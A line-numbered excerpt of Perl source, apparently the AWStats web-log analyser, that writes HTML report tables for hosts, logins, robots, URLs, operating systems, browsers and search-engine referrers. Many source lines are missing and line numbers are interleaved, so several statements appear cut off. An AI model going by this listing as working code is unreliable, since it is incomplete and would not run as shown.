if ( $ShowHostsStats =~ /B/i ) {
14446
print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
14448
if ( $ShowHostsStats =~ /L/i ) {
14452
? Format_Date( $_host_l{$key}, 1 )
14458
$total_p += $_host_p{$key};
14459
$total_h += $_host_h{$key};
14460
$total_k += $_host_k{$key} || 0;
14465
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
14469
$rest_p = $TotalPages - $total_p;
14470
$rest_h = $TotalHits - $total_h;
14471
$rest_k = $TotalBytes - $total_k;
14472
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
14473
{ # All other visitors (known or not)
14475
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14477
if ( $ShowHostsStats =~ /P/i ) {
14478
print "<td>" . ( $rest_p ? $rest_p : " " ) . "</td>";
14480
if ( $ShowHostsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14481
if ( $ShowHostsStats =~ /B/i ) {
14482
print "<td>" . Format_Bytes($rest_k) . "</td>";
14484
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
14490
if ( $HTMLOutput{'unknownip'} ) {
14491
print "$Center<a name=\"unknownip\"> </a><br />\n";
14492
&tab_head( "$Message[45]", 19, 0, 'unknownwip' );
14493
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
14494
. ( scalar keys %_host_h )
14495
. " $Message[1]</th>";
14496
&ShowHostInfo('__title__');
14497
if ( $ShowHostsStats =~ /P/i ) {
14499
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
14501
if ( $ShowHostsStats =~ /H/i ) {
14503
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14505
if ( $ShowHostsStats =~ /B/i ) {
14507
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14509
if ( $ShowHostsStats =~ /L/i ) {
14510
print "<th width=\"120\">$Message[9]</th>";
14513
$total_p = $total_h = $total_k = 0;
14515
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
14517
foreach my $key (@keylist) {
14518
my $host = CleanXSS($key);
14519
print "<tr><td class=\"aws\">$host</td>";
14520
&ShowHostInfo($key);
14521
if ( $ShowHostsStats =~ /P/i ) {
14523
. ( $_host_p{$key} ? $_host_p{$key} : " " )
14526
if ( $ShowHostsStats =~ /H/i ) {
14527
print "<td>$_host_h{$key}</td>";
14529
if ( $ShowHostsStats =~ /B/i ) {
14530
print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
14532
if ( $ShowHostsStats =~ /L/i ) {
14536
? Format_Date( $_host_l{$key}, 1 )
14542
$total_p += $_host_p{$key};
14543
$total_h += $_host_h{$key};
14544
$total_k += $_host_k{$key} || 0;
14549
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
14553
$rest_p = $TotalPages - $total_p;
14554
$rest_h = $TotalHits - $total_h;
14555
$rest_k = $TotalBytes - $total_k;
14556
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
14557
{ # All other visitors (known or not)
14559
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>";
14561
if ( $ShowHostsStats =~ /P/i ) {
14562
print "<td>" . ( $rest_p ? $rest_p : " " ) . "</td>";
14564
if ( $ShowHostsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14565
if ( $ShowHostsStats =~ /B/i ) {
14566
print "<td>" . Format_Bytes($rest_k) . "</td>";
14568
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
14574
if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
14575
&ShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
14578
if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
14579
&ShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
14582
if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) {
14583
print "$Center<a name=\"logins\"> </a><br />\n";
14585
if ( $HTMLOutput{'alllogins'} ) { $title .= "$Message[94]"; }
14586
if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; }
14587
&tab_head( "$title", 19, 0, 'logins' );
14588
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
14589
. ( scalar keys %_login_h ) . "</th>";
14590
&ShowUserInfo('__title__');
14591
if ( $ShowAuthenticatedUsers =~ /P/i ) {
14593
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
14595
if ( $ShowAuthenticatedUsers =~ /H/i ) {
14597
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14599
if ( $ShowAuthenticatedUsers =~ /B/i ) {
14601
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14603
if ( $ShowAuthenticatedUsers =~ /L/i ) {
14604
print "<th width=\"120\">$Message[9]</th>";
14607
$total_p = $total_h = $total_k = 0;
14609
if ( $HTMLOutput{'alllogins'} ) {
14610
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
14611
\%_login_h, \%_login_p );
14613
if ( $HTMLOutput{'lastlogins'} ) {
14614
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
14615
\%_login_h, \%_login_l );
14617
foreach my $key (@keylist) {
14618
print "<tr><td class=\"aws\">$key</td>";
14619
&ShowUserInfo($key);
14620
if ( $ShowAuthenticatedUsers =~ /P/i ) {
14622
. ( $_login_p{$key} ? $_login_p{$key} : " " )
14625
if ( $ShowAuthenticatedUsers =~ /H/i ) {
14626
print "<td>$_login_h{$key}</td>";
14628
if ( $ShowAuthenticatedUsers =~ /B/i ) {
14629
print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
14631
if ( $ShowAuthenticatedUsers =~ /L/i ) {
14635
? Format_Date( $_login_l{$key}, 1 )
14641
$total_p += $_login_p{$key} || 0;
14642
$total_h += $_login_h{$key};
14643
$total_k += $_login_k{$key} || 0;
14648
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
14652
$rest_p = $TotalPages - $total_p;
14653
$rest_h = $TotalHits - $total_h;
14654
$rest_k = $TotalBytes - $total_k;
14655
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
14656
{ # All other logins and/or anonymous
14658
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>";
14660
if ( $ShowAuthenticatedUsers =~ /P/i ) {
14661
print "<td>" . ( $rest_p ? $rest_p : " " ) . "</td>";
14663
if ( $ShowAuthenticatedUsers =~ /H/i ) {
14664
print "<td>$rest_h</td>";
14666
if ( $ShowAuthenticatedUsers =~ /B/i ) {
14667
print "<td>" . Format_Bytes($rest_k) . "</td>";
14669
if ( $ShowAuthenticatedUsers =~ /L/i ) {
14670
print "<td> </td>";
14677
if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) {
14678
print "$Center<a name=\"robots\"> </a><br />\n";
14680
if ( $HTMLOutput{'allrobots'} ) { $title .= "$Message[53]"; }
14681
if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; }
14682
&tab_head( "$title", 19, 0, 'robots' );
14683
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
14684
. ( scalar keys %_robot_h )
14685
. " $Message[51]</th>";
14686
if ( $ShowRobotsStats =~ /H/i ) {
14688
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14690
if ( $ShowRobotsStats =~ /B/i ) {
14692
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14694
if ( $ShowRobotsStats =~ /L/i ) {
14695
print "<th width=\"120\">$Message[9]</th>";
14698
$total_p = $total_h = $total_k = $total_r = 0;
14700
if ( $HTMLOutput{'allrobots'} ) {
14701
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
14702
\%_robot_h, \%_robot_h );
14704
if ( $HTMLOutput{'lastrobots'} ) {
14705
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
14706
\%_robot_h, \%_robot_l );
14708
foreach my $key (@keylist) {
14709
print "<tr><td class=\"aws\">"
14710
. ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
14712
if ( $ShowRobotsStats =~ /H/i ) {
14714
. ( $_robot_h{$key} - $_robot_r{$key} )
14715
. ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
14717
if ( $ShowRobotsStats =~ /B/i ) {
14718
print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
14720
if ( $ShowRobotsStats =~ /L/i ) {
14724
? Format_Date( $_robot_l{$key}, 1 )
14731
#$total_p += $_robot_p{$key}||0;
14732
$total_h += $_robot_h{$key};
14733
$total_k += $_robot_k{$key} || 0;
14734
$total_r += $_robot_r{$key} || 0;
14738
# For bots we need to count Totals
14739
my $TotalPagesRobots =
14740
0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
14741
my $TotalHitsRobots = 0;
14742
foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
14743
my $TotalBytesRobots = 0;
14744
foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
14745
my $TotalRRobots = 0;
14746
foreach ( values %_robot_r ) { $TotalRRobots += $_; }
14747
$rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
14748
$rest_h = $TotalHitsRobots - $total_h;
14749
$rest_k = $TotalBytesRobots - $total_k;
14750
$rest_r = $TotalRRobots - $total_r;
14754
"Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k",
14758
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
14759
{ # All other robots
14761
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14762
if ( $ShowRobotsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14763
if ( $ShowRobotsStats =~ /B/i ) {
14764
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
14766
if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; }
14770
"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
14773
if ( $HTMLOutput{'urldetail'}
14774
|| $HTMLOutput{'urlentry'}
14775
|| $HTMLOutput{'urlexit'} )
14778
# Call to plugins' function ShowPagesFilter
14780
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } )
14783
# my $function="ShowPagesFilter_$pluginname()";
14784
# eval("$function");
14785
my $function = "ShowPagesFilter_$pluginname";
14788
print "$Center<a name=\"urls\"> </a><br />\n";
14791
&ShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} );
14796
if ( $HTMLOutput{'urldetail'} ) {
14797
$title = $Message[19];
14798
$cpt = ( scalar keys %_url_p );
14800
if ( $HTMLOutput{'urlentry'} ) {
14801
$title = $Message[104];
14802
$cpt = ( scalar keys %_url_e );
14804
if ( $HTMLOutput{'urlexit'} ) {
14805
$title = $Message[116];
14806
$cpt = ( scalar keys %_url_x );
14808
&tab_head( "$title", 19, 0, 'urls' );
14809
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
14810
if ( $FilterIn{'url'} || $FilterEx{'url'} ) {
14811
if ( $FilterIn{'url'} ) {
14812
print "$Message[79] <b>$FilterIn{'url'}</b>";
14814
if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; }
14815
if ( $FilterEx{'url'} ) {
14816
print "Exclude $Message[79] <b>$FilterEx{'url'}</b>";
14818
if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; }
14819
print "$cpt $Message[28]";
14820
if ( $MonthRequired ne 'all' ) {
14821
if ( $HTMLOutput{'urldetail'} ) {
14823
"<br />$Message[102]: $TotalDifferentPages $Message[28]";
14827
else { print "$Message[102]: $cpt $Message[28]"; }
14829
if ( $ShowPagesStats =~ /P/i ) {
14831
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
14833
if ( $ShowPagesStats =~ /B/i ) {
14835
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
14837
if ( $ShowPagesStats =~ /E/i ) {
14839
"<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
14841
if ( $ShowPagesStats =~ /X/i ) {
14843
"<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
14846
# Call to plugins' function ShowPagesAddField
14848
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
14851
# my $function="ShowPagesAddField_$pluginname('title')";
14852
# eval("$function");
14853
my $function = "ShowPagesAddField_$pluginname";
14854
&$function('title');
14856
print "<th> </th></tr>\n";
14857
$total_p = $total_k = $total_e = $total_x = 0;
14859
if ( $HTMLOutput{'urlentry'} ) {
14860
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e,
14863
elsif ( $HTMLOutput{'urlexit'} ) {
14864
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x,
14868
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p,
14873
foreach my $key (@keylist) {
14874
if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
14875
if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
14876
$max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
14879
foreach my $key (@keylist) {
14880
print "<tr><td class=\"aws\">";
14881
&ShowURLInfo($key);
14887
if ( $max_p > 0 ) {
14889
int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
14891
if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
14892
if ( $max_p > 0 ) {
14894
int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
14896
if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
14897
if ( $max_p > 0 ) {
14899
int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
14901
if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
14902
if ( $max_k > 0 ) {
14905
( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
14908
if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
14909
if ( $ShowPagesStats =~ /P/i ) {
14910
print "<td>$_url_p{$key}</td>";
14912
if ( $ShowPagesStats =~ /B/i ) {
14917
$_url_k{$key} / ( $_url_p{$key} || 1 )
14923
if ( $ShowPagesStats =~ /E/i ) {
14925
. ( $_url_e{$key} ? $_url_e{$key} : " " ) . "</td>";
14927
if ( $ShowPagesStats =~ /X/i ) {
14929
. ( $_url_x{$key} ? $_url_x{$key} : " " ) . "</td>";
14932
# Call to plugins' function ShowPagesAddField
14933
foreach my $pluginname (
14934
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
14937
# my $function="ShowPagesAddField_$pluginname('$key')";
14938
# eval("$function");
14939
my $function = "ShowPagesAddField_$pluginname";
14942
print "<td class=\"aws\">";
14944
# alt and title are not provided to reduce page size
14945
if ( $ShowPagesStats =~ /P/i ) {
14947
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />";
14949
if ( $ShowPagesStats =~ /B/i ) {
14951
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />";
14953
if ( $ShowPagesStats =~ /E/i ) {
14955
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />";
14957
if ( $ShowPagesStats =~ /X/i ) {
14959
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />";
14961
print "</td></tr>\n";
14962
$total_p += $_url_p{$key};
14963
$total_e += $_url_e{$key};
14964
$total_x += $_url_x{$key};
14965
$total_k += $_url_k{$key};
14970
"Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k",
14974
$rest_p = $TotalPages - $total_p;
14975
$rest_k = $TotalBytesPages - $total_k;
14976
$rest_e = $TotalEntries - $total_e;
14977
$rest_x = $TotalExits - $total_x;
14978
if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) {
14980
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14981
if ( $ShowPagesStats =~ /P/i ) {
14982
print "<td>" . ( $rest_p ? $rest_p : " " ) . "</td>";
14984
if ( $ShowPagesStats =~ /B/i ) {
14988
? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
14993
if ( $ShowPagesStats =~ /E/i ) {
14994
print "<td>" . ( $rest_e ? $rest_e : " " ) . "</td>";
14996
if ( $ShowPagesStats =~ /X/i ) {
14997
print "<td>" . ( $rest_x ? $rest_x : " " ) . "</td>";
15000
# Call to plugins' function ShowPagesAddField
15001
foreach my $pluginname (
15002
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
15005
# my $function="ShowPagesAddField_$pluginname('')";
15006
# eval("$function");
15007
my $function = "ShowPagesAddField_$pluginname";
15010
print "<td> </td></tr>\n";
15015
if ( $HTMLOutput{'unknownos'} ) {
15016
print "$Center<a name=\"unknownos\"> </a><br />\n";
15017
my $title = "$Message[46]";
15018
&tab_head( "$title", 19, 0, 'unknownos' );
15019
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
15020
. ( scalar keys %_unknownreferer_l )
15021
. ")</th><th>$Message[9]</th></tr>\n";
15024
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l,
15025
\%_unknownreferer_l );
15026
foreach my $key (@keylist) {
15027
my $useragent = XMLEncode( CleanXSS($key) );
15028
print "<tr><td class=\"aws\">$useragent</td>";
15029
print "<td nowrap=\"nowrap\">"
15030
. Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>";
15035
$rest_l = ( scalar keys %_unknownreferer_l ) - $total_l;
15036
if ( $rest_l > 0 ) {
15038
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15039
print "<td>-</td>";
15045
if ( $HTMLOutput{'unknownbrowser'} ) {
15046
print "$Center<a name=\"unknownbrowser\"> </a><br />\n";
15047
my $title = "$Message[50]";
15048
&tab_head( "$title", 19, 0, 'unknownbrowser' );
15049
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
15050
. ( scalar keys %_unknownrefererbrowser_l )
15051
. ")</th><th>$Message[9]</th></tr>\n";
15054
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l,
15055
\%_unknownrefererbrowser_l );
15056
foreach my $key (@keylist) {
15057
my $useragent = XMLEncode( CleanXSS($key) );
15059
"<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">"
15060
. Format_Date( $_unknownrefererbrowser_l{$key}, 1 )
15065
$rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l;
15066
if ( $rest_l > 0 ) {
15068
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15069
print "<td>-</td>";
15075
if ( $HTMLOutput{'osdetail'} ) {
15078
print "$Center<a name=\"osversions\"> </a><br />";
15079
my $title = "$Message[59]";
15080
&tab_head( "$title", 19, 0, 'osversions' );
15082
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
15084
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15085
print "<th> </th>";
15089
&BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ),
15090
1, \%_os_h, \%_os_h );
15091
my %keysinkeylist = ();
15094
# Count total by family
15095
my %totalfamily_h = ();
15096
my $TotalFamily = 0;
15097
OSLOOP: foreach my $key (@keylist) {
15098
$total_h += $_os_h{$key};
15099
if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; }
15100
foreach my $family ( keys %OSFamily ) {
15101
if ( $key =~ /^$family/i ) {
15102
$totalfamily_h{$family} += $_os_h{$key};
15103
$TotalFamily += $_os_h{$key};
15109
# Write records grouped in a browser family
15110
foreach my $family ( keys %OSFamily ) {
15113
$p = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
15116
my $familyheadershown = 0;
15117
foreach my $key ( reverse sort keys %_os_h ) {
15118
if ( $key =~ /^$family(.*)/i ) {
15119
if ( !$familyheadershown ) {
15120
my $family_name = '';
15121
if ( $OSFamily{$family} ) {
15122
$family_name = $OSFamily{$family};
15125
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>";
15127
. int( $totalfamily_h{$family} )
15128
. "</b></td><td><b>$p</b></td><td> </td>";
15130
$familyheadershown = 1;
15132
$keysinkeylist{$key} = 1;
15136
$p = int( $_os_h{$key} / $total_h * 1000 ) / 10;
15141
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15142
. "><img src=\"$DirIcons\/os\/$key.png\""
15146
print "<td class=\"aws\">$OSHashLib{$key}</td>";
15148
if ( $max_h > 0 ) {
15150
int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h )
15153
if ( ( $bredde_h == 1 ) && $_os_h{$key} ) {
15156
print "<td>$_os_h{$key}</td><td>$p</td>";
15157
print "<td class=\"aws\">";
15159
# alt and title are not provided to reduce page size
15160
if ($ShowOSStats) {
15162
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
15171
# Write other records
15172
my $familyheadershown = 0;
15173
foreach my $key (@keylist) {
15174
if ( $keysinkeylist{$key} ) { next; }
15175
if ( !$familyheadershown ) {
15179
int( ( $total_h - $TotalFamily ) / $total_h * 1000 ) /
15184
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
15186
. ( $total_h - $TotalFamily )
15187
. "</b></td><td><b>$p</b></td><td> </td>";
15189
$familyheadershown = 1;
15193
$p = int( $_os_h{$key} / $total_h * 1000 ) / 10;
15197
if ( $key eq 'Unknown' ) {
15199
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15200
. "><img src=\"$DirIcons\/browser\/unknown.png\""
15202
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
15205
my $keywithoutcumul = $key;
15206
$keywithoutcumul =~ s/cumul$//i;
15207
my $libos = $OSHashLib{$keywithoutcumul}
15208
|| $keywithoutcumul;
15209
my $nameicon = $keywithoutcumul;
15210
$nameicon =~ s/[^\w]//g;
15212
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15213
. "><img src=\"$DirIcons\/os\/$nameicon.png\""
15215
. " /></td><td class=\"aws\">$libos</td>";
15218
if ( $max_h > 0 ) {
15220
int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1;
15222
if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; }
15223
print "<td>$_os_h{$key}</td><td>$p</td>";
15224
print "<td class=\"aws\">";
15226
# alt and title are not provided to reduce page size
15227
if ($ShowOSStats) {
15229
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
15237
if ( $HTMLOutput{'browserdetail'} ) {
15239
# Show browsers versions
15240
print "$Center<a name=\"browsersversions\"> </a><br />";
15241
my $title = "$Message[21]";
15242
&tab_head( "$title", 19, 0, 'browsersversions' );
15244
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
15246
"<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15247
print "<th> </th>";
15251
&BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ),
15252
1, \%_browser_h, \%_browser_h );
15253
my %keysinkeylist = ();
15256
# Count total by family
15257
my %totalfamily_h = ();
15258
my $TotalFamily = 0;
15259
BROWSERLOOP: foreach my $key (@keylist) {
15260
$total_h += $_browser_h{$key};
15261
if ( $_browser_h{$key} > $max_h ) {
15262
$max_h = $_browser_h{$key};
15264
foreach my $family ( keys %BrowsersFamily ) {
15265
if ( $key =~ /^$family/i ) {
15266
$totalfamily_h{$family} += $_browser_h{$key};
15267
$TotalFamily += $_browser_h{$key};
15273
# Write records grouped in a browser family
15274
foreach my $family (
15275
sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} }
15276
keys %BrowsersFamily
15281
$p = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
15284
my $familyheadershown = 0;
15286
#foreach my $key ( reverse sort keys %_browser_h ) {
15287
foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) {
15288
if ( $key =~ /^$family(.*)/i ) {
15289
if ( !$familyheadershown ) {
15291
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>"
15294
print "<td> </td><td><b>"
15295
. int( $totalfamily_h{$family} )
15296
. "</b></td><td><b>$p</b></td><td> </td>";
15298
$familyheadershown = 1;
15300
$keysinkeylist{$key} = 1;
15305
int( $_browser_h{$key} / $total_h * 1000 ) / 10;
15310
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15311
. "><img src=\"$DirIcons\/browser\/$family.png\""
15314
print "<td class=\"aws\">"
15315
. ucfirst($family) . " "
15316
. ( $ver ? "$ver" : "?" ) . "</td>";
15319
$BrowsersHereAreGrabbers{$family}
15320
? "<b>$Message[112]</b>"
15325
if ( $max_h > 0 ) {
15327
int( $BarWidth * ( $_browser_h{$key} || 0 ) /
15330
if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
15333
print "<td>$_browser_h{$key}</td><td>$p</td>";
15334
print "<td class=\"aws\">";
15336
# alt and title are not provided to reduce page size
15337
if ($ShowBrowsersStats) {
15339
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
15348
# Write other records
15349
my $familyheadershown = 0;
15350
foreach my $key (@keylist) {
15351
if ( $keysinkeylist{$key} ) { next; }
15352
if ( !$familyheadershown ) {
15356
int( ( $total_h - $TotalFamily ) / $total_h * 1000 ) /
15361
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
15362
print "<td> </td><td><b>"
15363
. ( $total_h - $TotalFamily )
15364
. "</b></td><td><b>$p</b></td><td> </td>";
15366
$familyheadershown = 1;
15370
$p = int( $_browser_h{$key} / $total_h * 1000 ) / 10;
15374
if ( $key eq 'Unknown' ) {
15376
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15377
. "><img src=\"$DirIcons\/browser\/unknown.png\""
15379
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>";
15382
my $keywithoutcumul = $key;
15383
$keywithoutcumul =~ s/cumul$//i;
15384
my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
15385
|| $keywithoutcumul;
15386
my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
15389
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15390
. "><img src=\"$DirIcons\/browser\/$nameicon.png\""
15392
. " /></td><td class=\"aws\">$libbrowser</td><td>"
15394
$BrowsersHereAreGrabbers{$key}
15395
? "<b>$Message[112]</b>"
15401
if ( $max_h > 0 ) {
15403
int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) +
15406
if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
15409
print "<td>$_browser_h{$key}</td><td>$p</td>";
15410
print "<td class=\"aws\">";
15412
# alt and title are not provided to reduce page size
15413
if ($ShowBrowsersStats) {
15415
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
15423
if ( $HTMLOutput{'refererse'} ) {
15424
print "$Center<a name=\"refererse\"> </a><br />\n";
15425
my $title = "$Message[40]";
15426
&tab_head( "$title", 19, 0, 'refererse' );
15428
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$TotalDifferentSearchEngines $Message[122]</th>";
15430
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
15432
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15437
$MaxRowsInHTMLOutput,
15441
( scalar keys %_se_referrals_p )
15442
? \%_se_referrals_p
15443
: \%_se_referrals_h
15445
); # before 5.4 only hits were recorded
15447
foreach my $key (@keylist) {
15448
my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key);
15451
if ($TotalSearchEnginesPages) {
15453
int( $_se_referrals_p{$key} / $TotalSearchEnginesPages *
15456
if ($TotalSearchEnginesHits) {
15458
int( $_se_referrals_h{$key} / $TotalSearchEnginesHits *
15461
print "<tr><td class=\"aws\">$newreferer</td>";
15464
$_se_referrals_p{$key} ? $_se_referrals_p{$key} : ' ' )
15467
. ( $_se_referrals_p{$key} ? "$p_p %" : ' ' ) . "</td>";
15468
print "<td>$_se_referrals_h{$key}</td>";
15469
print "<td>$p_h %</td>";
15471
$total_p += $_se_referrals_p{$key};
15472
$total_h += $_se_referrals_h{$key};
15477
